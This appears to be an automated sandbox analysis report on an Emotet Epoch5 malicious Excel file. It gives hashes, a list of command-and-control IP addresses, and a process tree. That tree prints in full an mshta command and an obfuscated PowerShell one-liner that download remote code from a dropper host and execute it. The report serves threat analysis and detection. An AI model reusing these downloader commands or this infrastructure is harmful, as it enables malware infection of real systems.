emotet | e1d01e698b11fcdf19ca5a9640d9788d3367bd34bc356b046c2539e4d4d3200e

Analysis

max time kernel
136s
max time network
177s
platform
windows10_x64
resource
win10-en-20211208
submitted
31/01/2022, 01:21

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General

Target
tmpzmajxvfv.xls
Size 90KB
Sample220131-bqpkksdbdm
SHA256 e1d01e698b11fcdf19ca5a9640d9788d3367bd34bc356b046c2539e4d4d3200e
MD5 77319c8b44d23071074da7a46bb5e6a1
SHA1 44e30dc8ef738c15b97d2e2615782df2a0761753
SHA512 f07cdfb2b32665166a1ff70845386ab525449e825a9a5133f0414f08a66d551cf748ee1b4bdf39f58b8e0aca8b0e1e7b60b510355a7100982824084bc861ae0a
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/ee/ss/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/ee/ss/se.png

Extracted

Family

emotet

Botnet

Epoch5

74.207.230.120:8080
139.196.72.155:8080
37.44.244.177:8080
37.59.209.141:8080
116.124.128.206:8080
217.182.143.207:443
54.37.228.122:443
203.153.216.46:443
168.197.250.14:80
207.148.81.119:8080
195.154.146.35:443
78.46.73.125:443
191.252.103.16:80
210.57.209.142:8080
185.168.130.138:443
142.4.219.173:8080
118.98.72.86:443
78.47.204.80:443
159.69.237.188:443
190.90.233.66:443
104.131.62.48:8080
62.171.178.147:8080
185.148.168.15:8080
54.38.242.185:443
198.199.98.78:8080
194.9.172.107:8080
85.214.67.203:8080
66.42.57.149:443
185.148.168.220:8080
103.41.204.169:8080
128.199.192.135:8080
195.77.239.39:8080
59.148.253.194:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3612	2780	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
33	4036	mshta.exe
40	1984	powershell.exe
45	1984	powershell.exe
46	1392	rundll32.exe
47	1392	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
3036	rundll32.exe
3604	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Urwyxpmijefrmhtx\vnwxytxuzdrhqs.ces	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1724	4036	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2780	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1984	powershell.exe
1984	powershell.exe
1724	WerFault.exe
1724	WerFault.exe
1724	WerFault.exe
1724	WerFault.exe
1724	WerFault.exe
1724	WerFault.exe
1724	WerFault.exe
1724	WerFault.exe
1724	WerFault.exe
1724	WerFault.exe
1724	WerFault.exe
1724	WerFault.exe
1724	WerFault.exe
1724	WerFault.exe
1984	powershell.exe
1392	rundll32.exe
1392	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	1724	WerFault.exe

Suspicious use of SetWindowsHookEx 17 IoCs

pid	Process
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE
2780	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2780 wrote to memory of 3612	2780	EXCEL.EXE	71
PID 2780 wrote to memory of 3612	2780	EXCEL.EXE	71
PID 3612 wrote to memory of 3080	3612	cmd.exe	73
PID 3612 wrote to memory of 3080	3612	cmd.exe	73
PID 3612 wrote to memory of 3624	3612	cmd.exe	74
PID 3612 wrote to memory of 3624	3612	cmd.exe	74
PID 3624 wrote to memory of 4036	3624	cmd.exe	75
PID 3624 wrote to memory of 4036	3624	cmd.exe	75
PID 4036 wrote to memory of 1984	4036	mshta.exe	77
PID 4036 wrote to memory of 1984	4036	mshta.exe	77
PID 1984 wrote to memory of 1976	1984	powershell.exe	80
PID 1984 wrote to memory of 1976	1984	powershell.exe	80
PID 1976 wrote to memory of 3036	1976	cmd.exe	81
PID 1976 wrote to memory of 3036	1976	cmd.exe	81
PID 1976 wrote to memory of 3036	1976	cmd.exe	81
PID 3036 wrote to memory of 3604	3036	rundll32.exe	84
PID 3036 wrote to memory of 3604	3036	rundll32.exe	84
PID 3036 wrote to memory of 3604	3036	rundll32.exe	84
PID 3604 wrote to memory of 612	3604	rundll32.exe	85
PID 3604 wrote to memory of 612	3604	rundll32.exe	85
PID 3604 wrote to memory of 612	3604	rundll32.exe	85
PID 612 wrote to memory of 1392	612	rundll32.exe	86
PID 612 wrote to memory of 1392	612	rundll32.exe	86
PID 612 wrote to memory of 1392	612	rundll32.exe	86

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpzmajxvfv.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2780
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c set ooo=mshta http://91.240.118.172/ee/ss/se.html & echo %ooo% | cmd
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo %ooo% "
    3⤵
    PID:3080
- - C:\Windows\system32\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3624
  - - C:\Windows\system32\mshta.exe
      mshta http://91.240.118.172/ee/ss/se.html
      4⤵
      Blocklisted process makes network request
      Suspicious use of WriteProcessMemory
      PID:4036
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FutuReD}{FutuReD}Ne{FutuReD}{FutuReD}w{FutuReD}-Obj{FutuReD}ec{FutuReD}{FutuReD}t N{FutuReD}{FutuReD}et{FutuReD}.W{FutuReD}{FutuReD}e'.replace('{FutuReD}', ''); $c4='bC{FutuReD}li{FutuReD}{FutuReD}en{FutuReD}{FutuReD}t).D{FutuReD}{FutuReD}ow{FutuReD}{FutuReD}nl{FutuReD}{FutuReD}{FutuReD}o'.replace('{FutuReD}', ''); $c3='ad{FutuReD}{FutuReD}St{FutuReD}rin{FutuReD}{FutuReD}g{FutuReD}(''ht{FutuReD}tp{FutuReD}://91.240.118.172/ee/ss/se.png'')'.replace('{FutuReD}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1984
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1976
        
        C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        7⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3036
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
        8⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3604
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Urwyxpmijefrmhtx\vnwxytxuzdrhqs.ces",XGsWmVDQGvBCv
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:612
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Urwyxpmijefrmhtx\vnwxytxuzdrhqs.ces",DllRegisterServer
        10⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1392
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4036 -s 1688
        5⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1724

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/612-485-0x0000000001290000-0x00000000012B7000-memory.dmp

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memory/1392-491-0x0000000001200000-0x0000000001227000-memory.dmp

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memory/1392-487-0x0000000000E00000-0x0000000000E27000-memory.dmp

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memory/1392-504-0x0000000005060000-0x0000000005087000-memory.dmp

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memory/1392-502-0x0000000004FE0000-0x0000000005007000-memory.dmp

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memory/1392-500-0x0000000004DF0000-0x0000000004E17000-memory.dmp

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memory/1392-498-0x0000000004D10000-0x0000000004D37000-memory.dmp

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memory/1392-494-0x0000000004A50000-0x0000000004A77000-memory.dmp

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memory/1392-489-0x0000000001010000-0x0000000001037000-memory.dmp

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memory/1984-316-0x00000220626E0000-0x0000022062756000-memory.dmp

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memory/1984-321-0x00000220480E0000-0x00000220481C0000-memory.dmp

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memory/1984-284-0x0000022049F00000-0x0000022049F22000-memory.dmp

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memory/1984-285-0x00000220480E0000-0x00000220481C0000-memory.dmp

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memory/1984-286-0x00000220480E0000-0x00000220481C0000-memory.dmp

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memory/1984-305-0x00000220623C0000-0x00000220623FC000-memory.dmp

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memory/2780-118-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

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memory/2780-119-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

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memory/2780-131-0x00007FFB6A440000-0x00007FFB6A450000-memory.dmp

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memory/2780-122-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

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memory/2780-120-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

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memory/2780-121-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

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memory/2780-132-0x00007FFB6A440000-0x00007FFB6A450000-memory.dmp

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memory/2780-539-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

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memory/2780-540-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

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memory/2780-541-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

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memory/2780-542-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

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memory/3036-348-0x00000000033A0000-0x00000000033C7000-memory.dmp

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memory/3604-352-0x00000000033E0000-0x0000000003407000-memory.dmp

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